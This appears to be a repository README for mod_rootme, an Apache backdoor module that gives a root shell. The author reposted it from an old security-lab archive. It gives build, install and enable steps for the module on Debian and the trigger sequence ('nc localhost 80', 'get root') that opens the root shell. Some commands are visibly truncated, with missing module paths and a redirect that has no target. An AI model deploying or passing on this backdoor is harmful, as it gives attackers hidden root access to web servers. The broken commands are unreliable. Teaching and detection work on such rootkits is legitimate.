Ye olde root shell for ye olde httpd
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mod_rootme is a Apache backdoor module that can spawn a root shell.

I used this module while teaching a software security lab. The module has been around for a while, but the blog that hosted the most recent version seems to have disappeared from the web. Malware detection programs such as 'rkhunter' and 'unhide' can trivially detect the presence of mod_rootme, so it should not be too harmful to have this code in circulation again.

This repository is imported from an old archive I happened to find from my old class files (mod_rootme-0.4.tar.gz), updated to build on Debian GNU/Linux 8.0.

See README.old.txt for the original documentation.

Trying this thing out

To build and test on a Debian/Ubuntu system, you would need apache2 and apache2-dev. Run 'make' and 'sudo make install' to build the module, and enable it in httpd configuration, perhaps like so:

sudo sh -c \
'echo "LoadModule rootme_module \
/usr/lib/apache2/modules/" | sudo tee > \

Now to enable the module:

sudo a2enmod rootme
sudo service apache2 restart

To check that the root shell is indeed available:

nc localhost 80
get root

To uninstall the module:

sudo a2dismod rootme
sudo rm /usr/lib/apache2/modules/
sudo service apache2 restart